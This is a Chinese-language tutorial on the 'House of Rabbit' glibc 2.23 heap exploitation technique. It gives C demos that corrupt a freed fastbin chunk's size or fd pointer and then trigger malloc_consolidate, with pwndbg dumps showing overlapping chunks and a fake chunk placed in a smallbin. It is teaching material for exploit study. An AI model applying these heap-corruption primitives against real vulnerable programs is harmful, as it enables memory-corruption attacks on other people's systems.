House of Rabbit

运用在 fastbin attack

  • 可以修改fastbin的fd指针或size
  • 可以触发malloc consolidate,malloc consolidate会把fastbin的堆块根据周围堆块状态进行合并,放入合适的bin里

house of rabbit 利用了在 malloc consolidate 的时候 fastbin 中的堆块进行合并时 size 没有进行检查

例子

测试环境2.23

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main() {

unsigned long* chunk1 = malloc(0x40);
unsigned long* chunk2 = malloc(0x40);
unsigned long* chunk4;
void* dummies[7];
unsigned long* chunk3 = malloc(0x10);
free(chunk1);
free(chunk2);
chunk4 = malloc(0x1000); // 触发fastbin合并
}

chunk4 = malloc(0x1000)前

pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x602050 —▸ 0x602000 ◂— 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> tel 0x602050
00:0000│ 0x602050 ◂— 0x0
01:0008│ 0x602058 ◂— 0x51 /* 'Q' */
02:0010│ r8 0x602060 —▸ 0x602000 ◂— 0x0
03:0018│ 0x602068 ◂— 0x0

chunk4 = malloc(0x1000)后

pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0xa0: 0x602000 —▸ 0x7ffff7dd1c08 (main_arena+232) ◂— 0x602000
largebins
empty
pwndbg> tel 0x602000
00:0000│ 0x602000 ◂— 0x0
01:0008│ 0x602008 ◂— 0xa1
02:0010│ 0x602010 —▸ 0x7ffff7dd1c08 (main_arena+232) —▸ 0x7ffff7dd1bf8 (main_arena+216) —▸ 0x7ffff7dd1be8 (main_arena+200) —▸ 0x7ffff7dd1bd8

修改size

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main() {

unsigned long* chunk1 = malloc(0x40);
unsigned long* chunk2 = malloc(0x40);
unsigned long* chunk4;
void* dummies[7];

unsigned long* chunk3 = malloc(0x10);

free(chunk1);
free(chunk2);
chunk1[-1] = 0xa1;
chunk4 = malloc(0x1000); // 触发fastbin合并
malloc(0x40);
malloc(0x90);
return 0;

}

chunk4 = malloc(0x1000);后chunk1大小会重叠笼罩chunk2

pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0x50: 0x602050 —▸ 0x7ffff7dd1bb8 (main_arena+152) ◂— 0x602050 /* 'P `' */
0xa0: 0x602000 —▸ 0x7ffff7dd1c08 (main_arena+232) ◂— 0x602000
largebins
empty
pwndbg> tel 0x602050
00:0000│ 0x602050 ◂— 0x0
01:0008│ 0x602058 ◂— 0x51 /* 'Q' */
02:0010│ 0x602060 —▸ 0x7ffff7dd1bb8 (main_arena+152) —▸ 0x7ffff7dd1ba8 (main_arena+136) —▸ 0x7ffff7dd1b98 (main_arena+120) —▸ 0x7ffff7dd1b88 (main_arena+104) ◂— ...
... ↓
04:0020│ 0x602070 ◂— 0x0
... ↓
pwndbg> tel 0x602000
00:0000│ 0x602000 ◂— 0x0
01:0008│ 0x602008 ◂— 0xa1
02:0010│ 0x602010 —▸ 0x7ffff7dd1c08 (main_arena+232) —▸ 0x7ffff7dd1bf8 (main_arena+216) —▸ 0x7ffff7dd1be8 (main_arena+200) —▸ 0x7ffff7dd1bd8 (main_arena+184) ◂— ...
... ↓
04:0020│ 0x602020 ◂— 0x0

修改fd

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main() {

unsigned long* chunk1 = malloc(0x50); //0x602000
unsigned long* chunk2 = malloc(0x100);//0x602050

//防止consolidate时报错
chunk2[1] = 0x31; //fake chunk size 0x30
chunk2[7] = 0x21; //fake chunk's next chunk
chunk2[11] = 0x21; //fake chunk's next chunk's next chuck

free(chunk1);
chunk1[0] = chunk2;// modify the fd of chunk1

malloc(5000);// malloc a big chunk to trigger malloc consolidate
return 0;

}

效果就是chunk2被挂入smallbin

pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0x30: 0x602070 —▸ 0x7ffff7dd1b98 (main_arena+120) ◂— 0x602070 /* 'p `' */
0x60: 0x602000 —▸ 0x7ffff7dd1bc8 (main_arena+168) ◂— 0x602000
largebins
empty
pwndbg> p chunk2
$1 = (unsigned long *) 0x602070